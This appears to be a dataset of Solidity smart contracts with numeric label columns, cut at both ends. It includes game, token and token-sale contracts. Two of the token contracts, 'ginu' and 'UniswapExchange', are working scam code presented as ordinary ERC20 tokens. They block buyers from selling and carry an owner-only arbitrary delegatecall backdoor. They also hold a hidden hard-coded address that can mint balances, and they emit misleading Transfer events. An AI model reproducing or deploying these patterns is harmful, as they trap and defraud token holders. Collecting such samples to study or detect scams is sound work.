plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)/rndIncDivisor_).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)/rndIncDivisor_).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, FFEIFDatasets.EventReturns memory _eventData_)
private
returns(FFEIFDatasets.EventReturns)
{
uint256 _PoEIF;
uint256 _aff = _eth.mul(affFee) / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit FOMOEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_PoEIF = _aff;
}
_PoEIF = _PoEIF.add((_eth.mul(fees_[_team].poeif)) / 100);
if (_PoEIF > 0)
{
uint256 _EIFamount = _PoEIF / 2;
address(PoEIFContract).call.value(_PoEIF.sub(_EIFamount))(bytes4(keccak256("donateDivs()")));
fundEIF = fundEIF.add(_EIFamount);
_eventData_.tokenAmount = _PoEIF.add(_eventData_.tokenAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, FFEIFDatasets.EventReturns memory _eventData_)
private
returns(FFEIFDatasets.EventReturns)
{
uint256 _gen = _eth.mul(fees_[_team].gen) / 100;
_eth = _eth.sub(((_eth.mul(affFee)) / 100).add((_eth.mul(fees_[_team].poeif)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _actualPot = _pot.sub(_pot/seedingDivisor);
if (seedingThreshold > rndTmEth_[_rID][0]) {seedingPot = seedingPot.add(_pot); _actualPot = 0;} else seedingPot = seedingPot.add(_pot/seedingDivisor);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _actualPot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _actualPot;
_eventData_.seedAdd = _pot - _actualPot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, FFEIFDatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit FOMOEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount,
_eventData_.potAmount,
_eventData_.seedAdd
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "Only admin can activate");
require(activated_ == false, "FFEIF already activated");
setStore("endround",0);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
potNextSeedTime = now + 3600;
}
function removeAdmin()
public
{
require(msg.sender == admin, "Only admin can remove himself");
admin = address(0);
}
}
library FFEIFDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 tokenAmount;
uint256 genAmount;
uint256 potAmount;
uint256 seedAdd;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 poeif;
}
struct PotSplit {
uint256 gen;
uint256 poeif;
}
}
contract PoEIF
{
function donateDivs() public payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0);
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20);
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a));
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20);
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,851 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ginu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,525 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,365 |
pragma solidity ^0.4.21;
contract Memes{
address owner;
address helper=0x26581d1983ced8955C170eB4d3222DCd3845a092;
uint256 public TimeFinish = 0;
uint256 TimerResetTime = 7200;
uint256 TimerStartTime = 360000;
uint256 public Pot = 0;
uint16 PIncr = 10000;
uint16 DIVP = 10000;
uint16 POTP = 0;
uint16 WPOTPART = 9000;
uint16 public DEVP = 500;
uint16 public HVAL = 5000;
uint256 BasicPrice = 1 finney;
struct Item{
address owner;
uint256 CPrice;
bool reset;
}
uint8 constant SIZE = 9;
Item[SIZE] public ItemList;
address public PotOwner;
event ItemBought(address owner, uint256 newPrice, uint256 newPot, uint256 Timer, string says, uint8 id);
event GameWon(address owner, uint256 paid, uint256 npot);
modifier OnlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
DEVP = tfee;
}
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HVAL = hfee;
}
function Memes() public {
var ITM = Item(msg.sender, BasicPrice, true );
ItemList[0] = ITM;
ItemList[1] = ITM;
ItemList[2] = ITM;
ItemList[3] = ITM;
ItemList[4] = ITM;
ItemList[5] = ITM;
ItemList[6] = ITM;
ItemList[7] = ITM;
ItemList[8] = ITM;
owner=msg.sender;
}
function Payout() public {
require(TimeFinish < block.timestamp);
require(TimeFinish > 1);
uint256 pay = (Pot * WPOTPART)/10000;
Pot = Pot - pay;
PotOwner.transfer(pay);
TimeFinish = 1;
for (uint8 i = 0; i <SIZE; i++ ){
ItemList[i].reset= true;
}
emit GameWon(PotOwner, pay, Pot);
}
function Buy(uint8 ID, string says) public payable {
require(ID < SIZE);
var ITM = ItemList[ID];
if (TimeFinish == 0){
TimeFinish = block.timestamp;
}
else if (TimeFinish == 1){
TimeFinish =block.timestamp + TimerResetTime;
}
uint256 price = ITM.CPrice;
if (ITM.reset){
price = BasicPrice;
}
if (TimeFinish < block.timestamp){
Payout();
msg.sender.transfer(msg.value);
}
else if (msg.value >= price){
if (!ITM.reset){
require(msg.sender != ITM.owner);
}
if ((msg.value - price) > 0){
msg.sender.transfer(msg.value - price);
}
uint256 LEFT = DoDev(price);
uint256 prev_val = 0;
uint256 pot_val = LEFT;
if (!ITM.reset){
prev_val = (DIVP * LEFT) / 10000;
pot_val = (POTP * LEFT) / 10000;
}
Pot = Pot + pot_val;
ITM.owner.transfer(prev_val);
ITM.owner = msg.sender;
uint256 incr = PIncr;
ITM.CPrice = (price * (10000 + incr)) / 10000;
uint256 TimeLeft = TimeFinish - block.timestamp;
if (TimeLeft< TimerStartTime){
TimeFinish = block.timestamp + TimerStartTime;
}
if (ITM.reset){
ITM.reset=false;
}
PotOwner = msg.sender;
emit ItemBought(msg.sender, ITM.CPrice, Pot, TimeFinish, says, ID);
}
else{
revert();
}
}
function DoDev(uint256 val) internal returns (uint256){
uint256 tval = (val * DEVP / 10000);
uint256 hval = (tval * HVAL) / 10000;
uint256 dval = tval - hval;
owner.transfer(dval);
helper.transfer(hval);
return (val-tval);
}
} | 1 | 3,989 |
contract TNT {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function TNT() {
initialSupply = 100000000;
name ="TNT";
decimals = 2;
symbol = "BOOM";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 3,052 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract LoveToken {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address _owner) public view returns (uint256 balance);
function freeze(address target) public returns (bool);
function release(address target) public returns (bool);
}
contract LoveContribution is Ownable {
using SafeMath for uint256;
LoveToken token;
mapping(address => uint256) public contributionOf;
address[] contributors;
address[] topWinners=[address(0),address(0),address(0),address(0),address(0),address(0),address(0),address(0),address(0),address(0),address(0)];
address[] randomWinners;
mapping(address => uint256) public amountWon;
mapping(address => bool) public claimed;
mapping(address => bool) public KYCDone;
uint256 public startTime;
uint256 public endTime;
uint256 public rate = 10e14;
uint256 public weiRaised;
uint256 public ownerWithdrawn;
event contributionSuccessful(address indexed contributedBy, uint256 contribution, uint256 tokenReceived);
event FundTransfer(address indexed beneficiary, uint256 amount);
event FundTransferFailed();
event KYCApproved(address indexed contributor);
function LoveContribution(uint256 _startTime, uint256 _endTime, LoveToken _token) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_token != address(0));
startTime = _startTime;
endTime = _endTime;
token = _token;
}
function () external payable {
contribute();
}
function contribute() internal {
uint256 weiAmount = msg.value;
require(msg.sender != address(0) && weiAmount >= 5e15);
require(now >= startTime && now <= endTime);
uint256 numToken = getTokenAmount(weiAmount).mul(10 ** 8);
require(token.balanceOf(this).sub(numToken) > 0 );
if(contributionOf[msg.sender] <= 0){
contributors.push(msg.sender);
token.freeze(msg.sender);
}
contributionOf[msg.sender] = contributionOf[msg.sender].add(weiAmount);
token.transfer(msg.sender, numToken);
weiRaised = weiRaised.add(weiAmount);
updateWinnersList();
contributionSuccessful(msg.sender,weiAmount,numToken);
}
function getTokenAmount(uint256 weiAmount) internal returns(uint256) {
uint256 tokenAmount;
if(weiRaised <= 100 ether){
rate = 10e14;
tokenAmount = weiAmount.div(rate);
return tokenAmount;
}
else if(weiRaised > 100 ether && weiRaised <= 150 ether){
rate = 15e14;
